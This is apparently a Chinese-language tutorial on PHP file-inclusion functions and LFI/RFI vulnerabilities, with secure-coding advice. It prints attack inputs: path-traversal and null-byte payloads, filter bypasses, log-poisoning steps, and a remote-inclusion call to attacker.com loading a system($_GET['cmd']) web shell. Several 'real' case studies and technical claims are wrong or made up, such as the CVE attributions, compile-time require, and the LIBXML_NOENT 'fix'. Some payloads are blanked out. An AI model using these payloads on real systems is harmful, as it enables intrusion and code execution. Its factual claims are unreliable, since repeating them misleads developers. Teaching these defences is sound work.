⚡ php文件包含函数全景概览
在PHP开发中,文件包含是构建模块化、可复用代码的基础能力。通过动态引入外部脚本,开发者可实现逻辑解耦、配置复用与功能扩展。然而,不当使用将直接导致严重安全风险——本地文件包含(LFI)与远程文件包含(RFI)已成为Web攻击的高频入口点,常被用于窃取敏感配置、执行任意代码乃至服务器提权。
本文系统梳理PHP四大核心包含函数:include、include_once、require、require_once,深入解析其执行机制、路径解析逻辑、错误处理差异,并结合真实渗透测试案例,揭示攻击链构造路径;同时提供可落地的防御策略与代码审计要点,帮助开发者构建纵深安全防线。
特别说明:PHP 7.4+已默认禁用allow_url_include=Off,但本地路径遍历(如../../etc/passwd)仍可触发LFI;而RFI依赖allow_url_fopen与allow_url_include双重开启,现代环境较少启用,但老旧系统或特殊配置仍存风险。
⚙️ php文件包含函数核心机制详解
〔1〕四大函数功能对比与语义差异
核心函数行为矩阵
| 函数 | 失败处理 | 重复包含 | 执行时机 | 适用场景 |
|---|---|---|---|---|
include |
发出警告并继续执行 | 允许重复包含 | 运行时动态解析 | 非关键模块、可选功能 |
include_once |
同上 | 首次包含后缓存路径 | 运行时(带缓存检查) | 类库/配置文件 |
require |
致命错误并终止脚本 | 允许重复包含 | 脚本编译阶段预解析 | 核心依赖(如数据库连接) |
require_once |
同上 | 首次包含后缓存路径 | 编译阶段(带缓存) | 不可替代的初始化模块 |
关键细节:当使用require时,PHP在编译阶段即尝试解析路径;若失败,脚本根本不会进入执行阶段——这与include在运行时失败后仍可继续执行形成本质差异。在安全审计中,require_once虽避免重复加载,但若攻击者能控制路径参数,仍可注入恶意文件。
〔2〕路径解析逻辑与“相对路径陷阱”
PHP文件包含路径遵循以下解析顺序:
- 检查
include_path配置(由php.ini或.htaccess定义) - 当前脚本所在目录(仅
include/require,非_once变体) - 绝对路径(如
/var/www/html/inc/config.php)
⚠️ 高风险场景示例:
// index.php 位于 /var/www/html/
include "inc/header.php"; // 成功:解析为 /var/www/html/inc/header.php
// /var/www/html/inc/header.php 内容:
include $_GET['theme']; // 危险!攻击者可控制变量
若攻击者访问:http://example.com/index.php?theme=../../etc/passwd%00,在PHP<5.4.6版本中,%00截断可绕过后缀限制,导致敏感文件泄露。现代PHP虽禁用%00截断,但路径遍历(../)仍可构造LFI。
〔3〕变量污染与动态包含风险
以下模式是LFI漏洞的“黄金入口”:
- 用户输入直接拼接路径:
include "templates/" . $_GET['page'] . ".php" - 通过
$_REQUEST获取路径:include $_REQUEST['file'] - 会话变量污染:
$_SESSION['template'] = $_GET['tpl']; include $_SESSION['template'];
防御核心原则:白名单校验 + 路径规范化 + 后缀强制限制
✅ 安全编码范例:
$allowed = ['home', 'about', 'contact'];
$page = basename($_GET['page'] ?? 'home');
if (in_array($page, $allowed)) {
include __DIR__ . "/pages/{$page}.php";
} else {
include __DIR__ . '/pages/error.php';
}
关键点说明:
basename()剥离路径信息,防止../注入__DIR__确保绝对路径引用- 白名单严格限定允许值
〔风险〕php文件包含漏洞的三大攻击维度
〔1〕本地文件包含(LFI)攻击链
LFI利用服务器本地文件路径遍历,读取敏感信息或触发代码执行。典型攻击路径:
- 阶段1:敏感文件读取——
?file=../../../etc/passwd、?file=/proc/self/environ - 阶段2:日志污染(Log Poisoning)——将恶意代码写入访问日志:
GET / HTTP/1.1
再通过LFI读取日志文件:?file=/var/log/apache2/access.log - 阶段3:会话文件注入——
?file=/tmp/sess_,若会话数据含用户输入(如搜索关键词),可注入代码 - 阶段4:临时文件利用——上传文件后利用
/tmp/phpXXXXXX路径包含(需竞态条件)
⚠️ 重要提示:Linux系统中/proc/self/fd/0可读取STDIN输入(需POST数据),配合LFI可实现命令执行:
POST /upload.php HTTP/1.1
...
GET /?file=/proc/self/fd/0 HTTP/1.1
〔2〕远程文件包含(RFI)攻击链
RFI要求allow_url_include=On(现代PHP默认关闭)。若配置开启,攻击者可远程加载恶意脚本:
- 构造恶意PHP文件:
http://attacker.com/shell.php,内容:<?php system($_GET['cmd']); ?> - 触发包含:
?file=http://attacker.com/shell.php?cmd=whoami
⚠️ 防御要点:
- 关闭
allow_url_include(php.ini中设为Off) - 禁止用户控制的URL参数直接用于include
- 使用
filter_input()过滤GET/POST数据
〔3〕路径遍历的变种与绕过技巧
攻击者常用绕过手段:
| 绕过方式 | 原理 | 示例 |
|---|---|---|
双写.. |
服务端过滤一次后残留../ |
....// → 过滤后为../ |
| Unicode编码 | %c0%ae(UTF-8下为.) |
%c0%ae%c0%ae/ |
| 目录符号链接 | 创建软链接指向敏感目录 | ln -s /etc /tmp/passwd → ?file=/tmp/passwd/passwd |
| 空字节截断(PHP<5.4.6) | %00终止字符串 |
?file=shell.php%00.jpg |
〔攻击〕真实渗透测试案例还原
案例1:WordPress主题模板LFI漏洞(CVE-2017-11366)
漏洞文件:wp-content/themes/twentyseventeen/header.php
$header_image = get_header_image();
if (!empty($header_image)) {
include get_template_directory() . "/header-image.php";
}
攻击者控制$header_image参数(通过customize.php),注入路径:../../../etc/passwd,但需绕过get_template_directory()返回绝对路径。实际利用需结合chdir()改变工作目录:
POST /wp-admin/customize.php HTTP/1.1
...
theme=twentyseventeen&header_image=...&file=../../../etc/passwd
注:此案例中漏洞点实际在WP_Customize_Manager类未校验路径,最终通过include触发。修复方式:对get_template_directory()返回值进行白名单比对。
案例2:Joomla! 3.7.0 LFI(CVE-2017-8917)
漏洞路径:administrator/components/com_newsfeeds/helpers/newsfeed.php
include JPATH_COMPONENT . '/helpers/' . $path;
攻击者通过$path注入:../../configuration.php,但需绕过JPATH_COMPONENT前缀。利用%00截断(PHP<5.4.6):
?path=....//....//configuration.php%00
实际利用链:攻击者访问后台登录页→构造POST请求→利用LFI读取configuration.php→提取数据库凭证→登录后台→上传恶意插件。
案例3:日志污染+LFI实现RCE
步骤演示:
- 上传文件时,将恶意代码写入日志:
curl -H "User-Agent: " http://target.com/ - 通过LFI读取日志文件:
?file=/var/log/apache2/access.log - 日志内容被解析为PHP执行,返回
www-data
防御措施:
- 禁止日志中记录用户输入(或进行HTML实体编码)
- 使用非日志目录存储会话文件(
session.save_path=/var/lib/php/sessions) - 定期清理临时文件目录
〔防御〕php文件包含安全编码七原则
〔1〕绝对路径优先原则
始终使用__DIR__或dirname(__FILE__)构建绝对路径:
// 危险
include "lib/db.php";
// 安全
include __DIR__ . "/lib/db.php";
原因:相对路径依赖工作目录(cwd),在CLI或复杂调用链中易被篡改。
〔2〕白名单校验原则
对用户输入的文件名进行严格校验:
$allowed_files = [
'home' => 'home.php',
'about' => 'about.php',
'contact' => 'contact.php'
];
$page = $_GET['page'] ?? 'home';
if (isset($allowed_files[$page])) {
include __DIR__ . '/pages/' . $allowed_files[$page];
} else {
include __DIR__ . '/pages/error.php';
}
补充:若需动态支持子目录,应使用realpath()验证路径合法性:
$base = __DIR__ . '/pages';
$path = realpath($base . '/' . basename($_GET['page']) . '.php');
if ($path && strpos($path, $base) === 0) {
include $path;
}
〔3〕后缀强制限制原则
使用pathinfo()校验扩展名:
$file = $_GET['file'];
$info = pathinfo($file);
if ($info['extension'] !== 'php') {
die('Invalid file type');
}
⚠️ 注意:攻击者可上传.php.jpg或.phtml,需结合getimagesize()检测文件头。
〔4〕open_basedir限制原则
在php.ini中配置:
open_basedir = /var/www/html:/tmp
作用:限制include仅能访问指定目录。但需注意:
- 攻击者仍可读取指定目录内任意文件(如
/tmp/sess_*) - 需配合
session.save_path调整会话目录
〔5〕disable_functions防护
在php.ini中禁用高危函数:
disable_functions = exec,passthru,system,shell_exec,proc_open,popen
即使LFI成功,若无法执行系统命令,攻击链即被截断。
〔6〕错误信息关闭
生产环境必须关闭错误显示:
display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log
避免泄露路径信息(如Warning: include(/var/www/html/...): failed to open stream)。
〔7〕代码审计工具集成
推荐工具:
- SonarQube(配置PHP规则)
- PHPStan(静态分析)
- Psalm(类型检查)
- 自定义规则:扫描
include.*\$_(GET|POST|REQUEST)
〔案例〕php文件包含漏洞修复对比
修复前(高危)
// template.php
$template = $_GET['t'] ?: 'default';
include "templates/{$template}.php";
修复后(安全)
多层防护方案
// template.php
$base_dir = __DIR__ . '/templates';
$allowed = ['default', 'blue', 'dark'];
$template = basename($_GET['t'] ?? 'default');
// 1. 白名单校验
if (!in_array($template, $allowed)) {
$template = 'error';
}
// 2. 路径规范化
$path = realpath($base_dir . "/{$template}.php");
// 3. 路径合法性检查
if (!$path || strpos($path, $base_dir) !== 0) {
http_response_code(403);
exit('Access denied');
}
// 4. 最终包含
include $path;
修复效果:
- 杜绝路径遍历(
basename()+realpath()) - 禁止非预期文件(白名单)
- 避免执行非PHP文件(强制后缀)
〔问答〕php文件包含高频问题解答
A1:include失败时仅发出E_WARNING并继续执行;require失败时触发E_ERROR并终止脚本。从安全角度,require更易暴露路径(因直接终止),但include可能导致后续逻辑异常引发新漏洞。建议:核心依赖用require_once,可选模块用include。
〔周边〕php文件包含关联知识图谱
网友们都关心什么?
根据搜索数据,以下问题与php文件包含函数高度相关,常被开发者在安全编码中一并关注:
〔1〕PHP自动加载机制(spl_autoload_register)
现代框架(Laravel/Symfony)已用自动加载替代include。其原理:注册spl_autoload_register()回调函数,当类未定义时触发加载。优势:
- 避免手动
include大量文件 - 支持PSR-4路径规范
- 减少路径遍历风险
⚠️ 注意:若回调函数中拼接用户输入(如include "app/Models/" . $_GET['model'] . ".php"),仍存在LFI风险。
〔2〕Composer依赖管理与autoloader
Composer生成的vendor/autoload.php使用spl_autoload_register()注册PSR-4映射。开发者应:
- 避免手动修改
autoload配置 - 不将用户输入用于
require_once 'vendor/autoload.php'之后的路径 - 定期更新依赖(防止已知漏洞包)
〔3〕SUID脚本与PHP执行
若PHP脚本以SUID权限运行(如chmod u+s /usr/bin/php),攻击者可利用LFI包含SUID脚本,再通过include触发提权。防御:
- 禁止SUID PHP脚本
- 检查
php -i | grep suid(PHP 7.4+已移除SUID支持)
〔4〕XXE漏洞与文件包含联动
当libxml_disable_entity_loader(false)时,LFI可触发XXE(XML External Entity):
POST /upload.php HTTP/1.1
Content-Type: application/xml
]>
&xxe;
若服务端用simplexml_load_string解析且未禁用外部实体,即可读取本地文件。修复:启用LIBXML_NOENT选项时同步设置libxml_disable_entity_loader(true)。
〔5〕LFI到RCE的进阶路径
完整攻击链示例:
- LFI读取
/proc/self/environ(含User-Agent中的恶意代码) - 通过
include执行代码 - 上传WebShell(如
phpinfo()页面被包含后写入/tmp/shell.php) - 直接访问WebShell:
http://target.com/tmp/shell.php
防御核心:切断LFI入口 + 禁用高危函数 + 限制文件权限。